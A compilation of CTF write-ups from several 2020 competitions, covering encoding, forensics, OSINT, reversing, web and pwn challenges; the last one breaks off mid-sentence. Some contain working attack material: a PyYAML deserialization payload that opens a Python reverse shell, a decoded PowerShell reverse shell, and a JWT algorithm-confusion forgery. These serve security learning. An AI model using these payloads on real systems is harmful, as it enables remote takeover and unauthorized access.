I realize that the hint point to octal number, the nine should be ignored. ```163 171 163 153 162 157 156 103 124 106 173 67 110 111 123 55 151 163 156 67 55 163 63 143 125 162 63 55 143 60 104 111 116 71 175``` Change it to ascii and get the flag. >syskronCTF{7HIS-isn7-s3cUr3-c0DIN9}
[https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html#redac_news]https://crcksec.blogspot.com/2020/10/syskron-ctf-2020-beginner-writeup.html#redac_news)
# Welcome Letter ![Sanitycheck](https://img.shields.io/badge/Sanitycheck--d100ff?style=for-the-badge) ![Points - 20](https://img.shields.io/badge/Points-20-9cf?style=for-the-badge) ```txtRead the letter!``` --- Actually... the task description is pretty precise about what you need to do ^^. ![am-i-sane](./am-i-sane.png) Near the top of the PDF file you'll be able to see the first flag: `syskronCTF{th4nk-you}`
# Security headers ![Web](https://img.shields.io/badge/Web--0042ff?style=for-the-badge) ![Points - 100](https://img.shields.io/badge/Points-100-9cf?style=for-the-badge) ```txtCan you please check the security-relevant HTTP response headers on www.senork.de. Do they reflect current best practices?``` --- One of the easier web challenges. Simply take a look at the response headers the web server sends you when you request the page. Here you'll find one interesting one: `Flag-Policy`. The value is the flag: `syskronCTF{y0u-f0und-a-header-flag}`
# Syskron Security CTF 2020 - Bash history- Write-Up Author: Bon \[[MOCTF](https://www.facebook.com/MOCSCTF)\] - Flag: syskronCTF{tHey-st0le-all-Data!!} ## **Question:**Bash history >Challenge description>We suspect that one of BB's internal hosts has been compromised. I copied its ~./bash_history file. Maybe, there are some suspicious commands? Attachment: [bash_history](./bash_history) ## Write upOpen the given file which is plain text of command history. By observe that there’s some command encoded by base64 and two of them is different from others. ```echo xYTjBNR3hsTFdGc2JDMUVZWFJoSVNGOQ==echo ZWNobyBjM2x6YTNKdmJrTlVSbnQwU0dWNU``` The first one shows unknown hex, just skipped it first. The second one shows Incorrect padding error while decoding, seems that something is missing. Since the first one has end padding, just tried to put it behind the second one and it works. ```echo c3lza3JvbkNURnt0SGV5LXN0MGxlLWFsbC1EYXRhISF9``` Another base64, decode it and we found the flag.>syskronCTF{tHey-st0le-all-Data!!}
# Leak audit ![Forensics](https://img.shields.io/badge/Forensics--8700ff?style=for-the-badge) ![Points - 200](https://img.shields.io/badge/Points-200-9cf?style=for-the-badge) ```txtWe found an old dump of our employee database on the dark net! Please check the database and send us the requested information: How many employee records are in the file? Are there any employees that use the same password? (If true, send us the password for further investigation.) In 2017, we switched to bcrypt to securely store the passwords. How many records are protected with bcrypt? Flag format: answer1_answer2_answer3 (e.g., 1000_passw0rd_987).``` --- The simplest way to solve this is probably to just open the databsae using `sqlite3` ... A simple `.schema` will now inform you about the database's general structure: ![schema](./schema.png) Now... simply use three or less queries to answer all of the task statement's questions: 1. _How many employee records are in the file?_ ```sqlSELECT COUNT(*)FROM personal;``` ```txt376``` 2. _Are there any employees that use the same password? (If true, send us the password for further investigation.)_ ```sqlSELECT password, COUNT(*) "count"FROM personalGROUP BY passwordHAVING count > 1;``` ```txtmah6geiVoo|2``` 3. _In 2017, we switched to bcrypt to securely store the passwords. How many records are protected with bcrypt?_ ```sqlSELECT COUNT(*) FROM personal WHERE password LIKE '$2b$%';``` ```txt21``` Now, reconstructing the flag was no problem at all: `flag{376_mah6geiVoo_21}`
# Syskron Security CTF 2020 - Firmware update- Write-Up Author: Bon \[[MOCTF](https://www.facebook.com/MOCSCTF)\] - Flag: syskronCTF{s3Cur3_uPd4T3} ## **Question:**Firmware update >Challenge description>The crypto software LibrePLC at BB Industry is continuously receiving updates. Unfortunately, the responsible employee left the company a few weeks ago and hasn't deployed the most recent firmware with important security updates. He just left a note with 5157CA3SDGF463249FBF. We urgently need the new firmware! Attachment: [LibrePLC_firmware_pack.zip](./LibrePLC_firmware_pack.zip) ## Write upGiven three zip files that are protected by password. Since the description gives a strange note, tried on every zip file and found that one of the zip file can be unzipped. From the above zip file, I got a file call ‘key’ and a firmware like file.Checking the ‘key’ file found that it is a python script. ```#!/usr/bin python3import hashlib #line:3import sys #line:4def check (): if len (sys .argv )==1 :# print ("No key for you")# sys .exit (0 )#line:9 else :#line:10 OOO0OOOOOO00000OO =sys .argv [1 ]# return OOO0OOOOOO00000OO #line:12def get_it (OOO0OOOOO00000OOO ):#line:14 with open (OOO0OOOOO00000OOO ,"rb")as O0000O000O00O0000 :#line:15 O0O0O0OOO000OOO0O =O0000O000O00O0000 .read () OO0O000O0OO000O0O =hashlib .sha256 (O0O0O0OOO000OOO0O ).hexdigest () return OO0O000O0OO000O0O #line:18def keys (OOOOOOOO00OOOOOOO ):#line:20 O0OO00OOO00OOOOOO =OOOOOOOO00OOOOOOO [::-1 ][:10 ]#line:21 O00O00O0O0O0O0000 =OOOOOOOO00OOOOOOO [5 :20 ][::-1 ]#line:22 O00O00O0O0O0O0000 =O0OO00OOO00OOOOOO .replace ("1","0")[::-1 ].replace ("9","sys")# O0OO00OOO00OOOOOO =O00O00O0O0O0O0000 .replace ("a","k").replace ("4","q").replace ("b","c").replace ("5","kron")#line:24 O0O000OO0000O000O =OOOOOOOO00OOOOOOO [23 :50 ][::-1 ].replace ("8","n") O0OO0OO0OOOOO0OO0 =OOOOOOOO00OOOOOOO [50 :61 ][::-1 ].replace ("7","ctf")# O0OO00O00000O00O0 =(O00O00O0O0O0O0000 +O0OO0OO0OOOOO0OO0 +O0OO00OOO00OOOOOO +O0O000OO0000O000O ).upper ()# return O0OO00O00000O00O0 #line:30print (keys (get_it (check ())))``` O.O I though I gonna skip this challenge once, tried not to focus on those Os and 0s, the check function seems that need to have input for running the script. And the get_it function seems tried to hash something use sha256. Just by curious that use the firmware file as the input and run the python script, I got **7SYSCC3076BDCTF13CC9CTFA6CB7SYSCC3076CD56579549EC5AB533EN03AFC1F9N** Something like the unknown text given by description. Try to unzip the second zip file using the above text as password and it worked~ The second zip file gives a firmware file only, use it as the input to run and run the script, I got **CSYS0BBA60E46ABB19C5BC0CSYS0CCK60EQ1NC41E2C5DDA4C5C7D45E096162** Finally I got the final firmware using the about text as password. Now what? Put it into hex editor and found the key at the file header. >syskronCTF{s3Cur3_uPd4T3}
# OSINT - Eye ## Challenge description:![eye](https://user-images.githubusercontent.com/70543460/94446772-c15f0080-01b1-11eb-87f2-a68c8a253b78.png) ## Challenge files:![eye (3)](https://user-images.githubusercontent.com/70543460/94446912-e81d3700-01b1-11eb-828a-b3ec38129ffc.jpg) ## Solution: I used Google Lens to reverse search that image ![1](https://user-images.githubusercontent.com/70543460/94452269-06863100-01b8-11eb-90f0-10c88e93a759.jpg) ![2](https://user-images.githubusercontent.com/70543460/94452329-100f9900-01b8-11eb-82cc-3a4c141c06f7.jpg) **I found a similar image in Tripadvisor:** ![3](https://user-images.githubusercontent.com/70543460/94452359-17cf3d80-01b8-11eb-87b3-dbd0df8ac191.jpg) **That view was from Benchmark Tea Factory, which is located in Ooty in India:** ![4](https://user-images.githubusercontent.com/70543460/94452387-20277880-01b8-11eb-86c2-fd51a4a4354d.jpg) Then, I searched for **Benchmark Tea Factory** in **Google Maps** to find the Latitude and Longitude of the position of the photographer of the challenge image. And the correct answer was **11.411,76.720** **darkCTF{11.411,76.720}**
`ltrace ./keygen`providing any input that is 7 characters or longer we can see that it's comparing it with **laska!!** ![](https://i.imgur.com/61DBYkY.png) running the binary with that input returns this string:1639171916391539162915791569103912491069173967911091119123955915191639156967955916396391439125916296395591439609104911191169719175 Then using this tool [https://www.dcode.fr/code-ascii](https://www.dcode.fr/code-ascii) gives us the flag **syskronCTF{7HIS-isn7-s3cUr3-c0DIN9}**
# Hacktober2020 - Evil Twins - Write-Up Author: Rb916120 \[[MOCTF](https://www.facebook.com/MOCSCTF)\] - Flag:flag{explorer.exe} ## **Question:**Evil Twins ![img](./img/1.PNG) [Mem dump](https://drive.google.com/file/d/1hiRB_RQqMF0j_QFzfV2D2qqYQbSyrkLM/view?usp=sharing) ## Write up**First, below tool required in this article.**[volatility](https://www.volatilityfoundation.org/) - a great tools to let people performed completely independent of the system being investigated but offer visibility into the runtime state.of the system **reference:**[SANS Evil Hunt Poster](https://digital-forensics.sans.org/media/DFPS_FOR508_v4.6_4-19.pdf) First, the challenge ask duplicate process name and given a memory dump file.Then [volatility](https://www.volatilityfoundation.org/) would be the best choice for this chall. determinate which profile fit this memory dump. ```shellvol.py -f '/root/Desktop/hacktober/mem.raw' imageinfo```![img](./img/2.PNG) Then, we can list the process tree with *pstree* command. ```vol.py -f '/root/Desktop/hacktober/mem.raw' --profile=Win10x64_17134 pstree```![img](./img/3.png) look at the result, 2 parts suspected. multiple explorer.exe and cmd.exe. compare to my own windows, the parent process or explorer.exe shoule be userinit.exefor more info can be found here [SANS Evil Hunt Poster](https://digital-forensics.sans.org/media/DFPS_FOR508_v4.6_4-19.pdf). >flag{explorer.exe}
URL :- https://mr-voorhees.appsecil.ctf.today/ ###### Initial Recon:- -----------------------------------------###### *Directory Bruteforcing* **[+]Found /robots.txt** ###### Robots.txt---------------------------------Found an endpoint '**/backup**'*interesting*.............. https://mr-voorhees.appsecil.ctf.today/backup/public.pem Found a key file. ###### Enumerating Web Application:--------------------------------------------------- Intercepted the request and found out there was a intresting cookie [ **token**=eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IlRhbWFyYSIsImlhdCI6MTYwMzgxNjU3Mn0.VPESAFhADhpCgj-WQI9FrcMShl5wUggjQU5DdfAk6YB1VRSPTQNtf6B7ilp0ieM3dms7ZCsN7qCPrh3U9Z1YDA ] Yup its a **jwt** token Now i know what to do with the key file. But before that lets gather some info on our jwt. *KEYLENGTH* : HMAC-SHA256*VALUES* : username = "Tamara" iat = "232302332" #timestamp ### EXPLOITATION (TAMPERING JWT) :------------------------------------------------------------------------ Fired up jwt_tool > `python jwt_tool eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VybmFtZSI6IlRhbWFyYSIsImlhdCI6MTYwMzgxNjU3Mn0.VPESAFhADhpCgj-WQI9FrcMShl5wUggjQU5DdfAk6YB1VRSPTQNtf6B7ilp0ieM3dms7ZCsN7qCPrh3U9Z1YDA` Select Option **1: Tamper with JWT data (multiple signing options)** Select Option **0: Because we dont need to play with the algorithms(headers)** Select Option **1: Tamper the username value** change Tamara => admin Select Option **5: Token Signing with key file** *give the directory to the public.pem file.* Select Keylength **1: HMAC-SHA256** Generated the forged token : Your new forged token: [+] URL safe: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjAzODE2NTcyfQ.VtsLFQwmu0-XNH53bZql_ffKhT_bcytun hV_0zz5xu0 [+] Standard: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjAzODE2NTcyfQ.VtsLFQwmu0+XNH53bZql/ffKhT/bcytun hV/0zz5xu0 Use the token and send a GET request '/' for the flag. `curl https://mr-voorhees.appsecil.ctf.today/ --cookie token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNjAzODE2NTcyfQ.VtsLFQwmu0-XNH53bZql_ffKhT_bcytunhV_0zz5xu0` ![final](https://i.ibb.co/1nvLSyw/image.png) ***FLAG = AppSec-IL{100k_wh47_y0u_d1d_70_h1m}***
# HINT------------------------ Writing your resume on word is for rookies.Real programmers use yaml. ## Enumeration-------------------------------------- < HTTP/1.1 200 OK < server: gunicorn/20.0.4 gunicorn -> WSGI Python http Server So we can assume that a yaml parser is implemented in python, and the most commonly used one is Pyyaml yaml.load() with Loader=UnsafeLoader can lead to RCE more info:- https://net-square.com/yaml-deserialization-attack-in-python.html ## EXPLOITATION-------------------------------------------- Let us pass our malicious serialized code to a reflecting value. `!!python/object/apply subprocess.check_output ["ls"]` ![serialized](https://i.ibb.co/KsMywTr/image.png) ![deserialized](https://i.ibb.co/qnKXq1y/image.png) We have managed to get a RCE but we are still unable to read the contents of flag Lets Try for A reverse Shell. ```!!python/object/apply:os.system ["python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.8.8.8",16731));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' "]``` I have created a Auto exploit tool for this challenge, Check my Github [Github- ZyperX](https://github.com/ZyperX/AppSec-IL-Resume.yml) https://github.com/ZyperX/AppSec-IL-Resume.yml
Writeup for the C_maths challenge: The description for the c_maths challenge writeup is:![alt text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_131000.jpeg) Ok from the description the information we can get from the challenge is flag is dispersed into 3 parts ,wen need to know some maths and C programming to crack this challenge and the flag resides in a server.They gave a netcat link and the copy of binary to us for reverse it.. The steps I always use to analyze and reverse the binary is:- 1.Run the binary first to get information about the data type of the input the binary accept from the user. 2.Strings command to check the printable strings in the binary if it is a easy challenge you will be fortunate enough to find the flag in here. 3.Ltrace the binary to find the library calls it's making to libc this is helpful when strings functions are used for processing the input or string comparing the flag with the user input and also strace can be useful sometimes which outputs the system calls done by the binary. 4.Then the most step is to view in graph mode in a nice debugger I use IDA freeware or Cutter(radare2's GUI version) and analyze the function flow of the binary and see how the input is processed and compared. 5.Then poceed to debug the binary by setting breakpoints and single stepping instructions and try to get more information of the binary most of the time many will get enough information about the binary to get the flag but if ida's graph seems to be complex then you need to put the binary file in decompiler to get more information about the binary and the debug the program. I use Ghidra's decompiler which is partially good. 6.I am sort of a old school person so I use GDB to debug the program. 7.Then it is happy reversing to get the flag. Okk now let's proceed to get the flag: 1.As per the steps first we are gonna run the binary file.![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_161438.jpeg)Okk strange it does not display anything but still lets give some input and see what is the output.![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_162003.jpeg)2.Okk I think it's time for step 2 the use of strings command and see its output whether can we find anything useful info about the binary or even the strings. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_162503.jpeg) Okk i just filtered out most of the useless things from the strings output from the above image there are some really juicy information we can get:- Some of the functions present in the binary that caught my attention is strncmp so there is a string compare going on we can find the string using the ltrace command really good,srand functions means worrying signs of random values being processed in the binary,malloc means values are getting allocated in the heap,along stack we also need to watch over the heap,system functions along with some commands present in the binary cat small chunk.txt and cat big chunk.txt and also a negative statement saying nothing for u here depicting the failure because of not providing a corect input and a filename called rev2.c that maybe the name of the source code of this binary and some user defined function names func1 and func3.There also other functions called random function and func2 which is not in the filtered image of the strings output. 3.Now the ltrace command and also with positive signs of strncmp present in the strings let's search for the string that is getting compared with the user input. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_164625.jpeg) This writeup is totally recap of how i found the flag.So I kinda recap the mistakes the think I did u can see that strlen is called on a specific string and so i gave the same string as the output but it turned out that it compared with the string p1e8s3 .So in this time i gave the input as p1e8s3 and watched the output of the program in ltrace. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_170920.jpeg) Okk 9 times the random function executes with starting value as 100 and ending value as 10000 and prints the value and a number of power functions and finally a sqrt and a scanf that asks for user input and maybe the input is correct it may give the second part of the flag and giving a sample 12345 gives a error message that nothing for u here and program gets terminated. 4.Due to heavy amount of maths functions lets proceed to the next step open the function in IDA. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_171728.jpeg) Hehehe the reason for showing this image was showing it had many branches and it is necessary to see a decompiled version of the binary in ghidra before proceeding to debug the binary in gdb. 5.Fortunately in ghidra there are less number of undefineds and a near perfect source code is generated by it's decompiler. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_174359.jpeg) The output of ghidra is not full i just removed the part till the strncmp as we found what the first part of flag Now we have two options to make 1.analyze using ghidra output and some gdb single stepping of instructions or 2.duplicating the programing that came from ghidra's decompiler but there is a chances for error when going for this option .But still went for the second option and duplicated the program from the random function till the second scanf and the changes in my program where I created a array that stores the 9 random values that came from the binary which i gave as arguements for my program.The C program that i wrote for finding the second part of my flag was ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_175708.jpeg) Now let's try to take the second part of the flag. things to do first run the binary get the random values give it as arguements for the C program we built and get the second part of the flag and give to the binary. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_180216.jpeg) ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_180201.jpeg) ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_180245.jpeg) The value we given was right meaning the program we created did its job perfectly but the second part of the flag resides on the server on a file small_chunk.txt so lets connect to the server and repeat the same process to get the flag. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_182952.jpeg) So the second part of the flag was _just_ and then we received a number and again asks user for a input maybe for the final part of the flag.Lets analyze again in ghidra. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_185300.jpeg) As a undefined in main function and also a undefined in func2 is present let's go to gdb and set breakpoint after function 3 and see heap as a malloc is present in func2.Keeping the breakpoint before the function 3 has some reasons because looping is present in func2 so placing in this position would complete the number of allocations due to looping.For beginning lets see first 100 words in heap. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_191751.jpeg) Oh man not a single chunk present let's print 200 words from the heap and see. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_191903.jpeg) Yeah there are some chunks and these looked like linked lists and let's try to find out the series in which the values are allocated.0x69=105,0x72=114,0x7b=123,0x81=129..Lets print another 100 chunks and find bout the series.. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_193334.jpeg) 0x84=132,0x8a=138,0x8d=141,0x93=147,0x96=150 .From all these numbers the series looks like from 100 which sum of numbers are equal to 6 and multiples of 6 then when i went on to print more chunks to find the final chunk allocated to see the end of series ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_194937.jpeg) The last chunk allocated was 0x181e which is 6174 !!!!!!Note these values are always random due to presence of random function in the binary the main intention of writeup is to describe about the binary file and how i was able to crack the challenge!!!!! The value always first allocated will always be 105 but the final value will not be 6174.. The final value 6174 whose sum of numbers is 18 which is multiple of 6 and also the last multiple of 6 before 6177 the random value given by binary and now the function 3 which sums the value present in the heap when counter value and by 1 gives zero and I dont know why but the processing of linked link starts from the second value not 6174 but the value 6165.So i created a python script to compute the sum when the binary gives a value after the second part of the flag. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_201733.jpeg) ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_202007.jpeg) Okk we got the value for the third part of the flag ..Finallly happy tears let's submit the value to the binary and it's gonna throw a error saying that no such file or firectory exists that means success after that we have to repeat the same process to the server.Lets set breakpoint where our value is comapred lets see both the value our user input and the value by the binary. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_202341.jpeg) okk the value in the stack is 1578057 and the value in in eax register is hex lets convert into decimal. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_202327.jpeg) Same value there is nothing stopping us to get the flag and lets continue the execution of the binary.. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_203352.jpeg) Whaatttt ....Noo the compare was succeeeded then why is the nothing for u here ..That was the reaction from me when this happened what really happened is we skipped the part of time function which we can see in the decompiled version in Ghidra. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_203735.jpeg) ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_203757.jpeg) Okk the above first image is the place where first time function where it stores the number of seconds from epoch and also on the second image the same happens and when the user input is incorrect and then it compares 5 with the difference of the first and second time variable if any one of the compare is true then it outputs nothing is here.To get the flag you need to give the input and get the flag within five seconds so let's create a another python script that connects to the server and gets the flag for us. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_205553.jpeg) The script gonna make a socket connection send the p1e8s3 to server and get the random values from the server and compute the value by using the previously created C file to compute the value to get the second part of the flag and another python script to get the third part of the flag where both the file source images i have given above and okk let's try the script and find out that can we get the flag atleast this time. ![alt_text](https://github.com/vital-information-resource-under-siege/DarkCTF-Writeups/blob/master/c_maths/images/Screenshot_20200929_210216.jpeg) Finally we got the flag which is darkCTF{p1e8s3_just_give_me_the_flag}
# Zima BlueMisc/Steg points 100 ![challenge.png](Zima_Blue.png) ## Challenge ![screenshot1.png](zimablue.png) ## Solution This was an interesting Stega challenge,opening the file in Stegsolve gives us the flag in plain text ![flag.png](flag.png) ##flag : flag{t3ll_by_th3_p1x3ls}
# Evil Corp's Child 2 ![Traffic Analysis](https://img.shields.io/badge/Traffic+Analysis--2e00ff?style=for-the-badge) ![Points - 75](https://img.shields.io/badge/Points-75-9cf?style=for-the-badge) ```txtThe malware uses four different ip addresses and ports for communication, what IP uses the same port as https? Submit the flag as: flag{ip address}. Use the file from Evil Corp's Child.``` --- Ok! Challenge number two in the `Evil Corp's Child` series. This time it wasn't about the malicious binary itself, but about the ips used for communication. Looking back at [`Evil Corp's Child 1`](../Evil%20Corp's%20Child%201/README.md), we know that the _infected client_ has the IP `192.168.1.91`. We also know that HTTPS uses port `443` - so, we can simply construct a Wireshark query with these two parameters: ![Wireshark](./wireshark.png) ... and... _tadaa_... while multiple IP addresses appear, you can simply try all of them, to discover that it's the last one, the task statement is referring to ^^. The flag therefore is: `flag{213.136.94.177}`
# Down the Wrong Path (10 points)Flag format: `flag{...}`## ChallengeOne of our operatives took a photo of a notebook belonging to Donnell. We think it's a message intended for another member of DEADFACE. Can you decipher the message and tell us who it's intended for? ![](https://cyberhacktics.sfo2.digitaloceanspaces.com/crypto/crypto02/crypto02.png)## SolutionThe original text was encrypted using **Transposition Cipher** technique, specifically **Route Cipher**. In **Transposition cipher**, the letters are reordered in some way according to a given rule which is called *key*. In a **Route Cipher** technique plaintext is written in a grid of given dimensions. One dimension is determined by the *key* and the second depends on the data size. The plaintext is then read off following the *route* to create a ciphertext, for example *zigzagging up and down*, *spiral inwards clockwise starting from the top right*, etc. Based on the image, the message is already constructed in a grid, so there is no need to rearrange different possible grids.The name of the challenge might be a hint(Down the Wrong Path), so one of the possible ways of reading is *down of the grid*. Next was to select between reading *to the right* or *to the left*. The route was discovered and message is deciphered:```| R M T L O B B T E R A U X T| E B O L O O O H W G O R T A| M E T S K I U E T E F N A Cv E R E P Y A T N A T O E T K REMEMBERTOTELLSPOOKYBOIABOUTTHENEWTARGETSOFOURNEXTATTACKREMEMBER TO TELL SPOOKY BOI ABOUT THE NEW TARGETS OF OUR NEXT ATTACK```However, this was not a flag, the challenge required to find out who this message was inteded for. ## FlagThe flag is `flag{SPOOKYBOI}`
#### Original Writeup - [https://github.com/CTSecUK/Syskron-Security-CTF-2020/blob/main/Write-ups/HID.md](https://github.com/CTSecUK/Syskron-Security-CTF-2020/blob/main/Write-ups/HID.md) -----# HID ![Category](http://img.shields.io/badge/Category-Wednesday-orange?style=for-the-badge) ![Points](http://img.shields.io/badge/Points-300-brightgreen?style=for-the-badge) ![Tag](https://img.shields.io/badge/Tag-binary_analysis-blue?style=plastic) ## Details***One of my colleagues found a USB stick in the parking lot in front of our company. Fortunately he handed it over directly to us . The drive contains an SD card with just one file. Maybe it's no normal USB flash drive?*** Firstly I started by going to "ducktoolkit.com" ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/HID_ducky_decoder_url.png) I chose the **Decode Payload** option ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/HID_ducky_decoder.png) I uploaded the file from my downloads folder [inject.bin] and then clicked **Decode** ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/HID_ducky_decoder_upload.png) Once it had uploaded and the page refreshed i chose the option to Download [duckycode.txt] ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/HID_ducky_decoder_download.png) I opened up the [duckycode.txt] in Pluma and scrolled through the code and found a download string to a pastebin which looked suspicious\![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/HID_ducky_decoder_string.png) I changed the incorrect character to look like a normal URL - https://pastebin.com/raw/YRD8jsvd and went to the website to see what was there. ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/HID_ducky_decoder_404.png) I received a 404 error. I went back over the code and noticed more spelling mistakes or letters that were in the wrong place. Like the below:- ![Image](https://github.com/CTSecUK/Syskron-Security-CTF-2020/raw/main/Write-ups/images/HID_ducky_decoder_characters.png) **Copz and yip** stood out to me so I modified the URL, swapping Y to Z and tried that URL in the address bar - https://pastebin.com/raw/ZRD8jsvd ```$client = New-Object System.Net.Sockets.TCPClient("10.10.10.10syskronCTF{y0u_f0und_m3}",80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()```The flag was hidden in the hostname/IP-address field. Flag: ***syskronCTF{y0u_f0und_m3}***
# Null And Void (25 points) `flag format = flag{column-name, command}` ## Problem```Using the Shallow Grave SQL dump, which field(s) in the users table accepts NULL values? Submit the field name followed by the single command used to show the information (separated by a comma).``` ## Solution```The ctf gives us a .sql file to download. in order to view it like its supposed to we need to import it into a mysql database. lets first create a database to import that file into. #mysql -u root -p##create database NullAndVoid;#```![alt text](https://raw.githubusercontent.com/ozzzozo/writeups/main/ctfs/hacktober/sql/NullAndVoid/0.png)```now we need to import the sql file. #mysql -u root -p NullAndVoid < shallowgraveu.sql# after the sql file is imported we can start to view the tables. #mysql -u root -p NullAndVoid# now to check which field allows null value. we can do that by using #describe users;# to view the tables properties;```![alt text](https://raw.githubusercontent.com/ozzzozo/writeups/main/ctfs/hacktober/sql/NullAndVoid/1.png)```flag{middle, describe}```
#### [https://waletsec.github.io/posts/2020-10-26-Callboy-Hack.lu-Writeup](https://waletsec.github.io/posts/2020-10-26-Callboy-Hack.lu-Writeup.html)### You will need - Wireshark- Challenge files ### Solution - Open **Callboy.pcapng** file from challenge files in Wireshark - Go to **Telephony** and **VoIP Calls** - Select first and the only call that is there [Initial Speaker: *10.13.37.1*; From: *sip:[email protected]*; To: *sip:[email protected]*] - Click **Play stream** and **Play** - Write down flag provided by voice synthesiser Transcription: The flag is call _ me _ baby _ 1337 _ more _ times ### Flag ​ flag{**call_me_baby_1337_more_times**} #### Credits - Writeup by [mble](https://ctftime.org/user/93848)- Solved by [Mim1r](https://ctftime.org/user/86894); [Unrooted](https://ctftime.org/user/91420); [everl0stz](https://ctftime.org/user/85858)- WaletSec 2020 #### License **CC BY** WaletSec + mble
[Orginal Writeup](https://aptx1337.github.io/posts/ctf/b01lers/crypto_03_clear_the_Mind.html) (https://aptx1337.github.io/posts/ctf/b01lers/crypto_03_clear_the_Mind.html)
# EnvironmentOS: Ubuntu 20.04Docker container: https://github.com/skysider/pwndocker # Set up glibc```> cp /glibc/2.27/64/lib/ld-2.28.so /tmp/ld.so> patchelf --set-interpreter /tmp/ld.so ./bb2``` In the script, ensure you set up the `pwntools` `env` when building the process: ```pythonenv = {"LD_PRELOAD": "./libc-2.28.so"}...process([exe.path] + argv, env=env, *a, **kw)``` # Bug finding If you look at the source code, you'll see the use of the `gets()` function. The `man` page for `gets` says this: > Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security. Use fgets() instead. There are several calls to `gets()`. We'll call the calls the "source file gets" and the "target file gets". ## Target file `gets()` The "target file gets" seems to be a good cancidate because the "source file gets" has a requirement: it must be a valid file. The "target file gets" needs to be a valid file too but it can be anything we want. I started with the "target file gets" of: ```import pwntools...xpl = b"tmp/" + cyclic(100)...io.sendlineafter("target file", xpl)``` However, when running this through GDB, the filename truncates or segfaults. I decided to move on. ## Source file `gets()` The "source file gets" input fills into a small buffer. However, you can simply write in a bunch of arbitrary data since there is an `fopens()` nearby that must not return NULL. There is probably not a file in the system that is `/tmp/AAAABBBBCCCDDDDEEEEFFFGGGGHHHHIIIJJJJ` or anything like 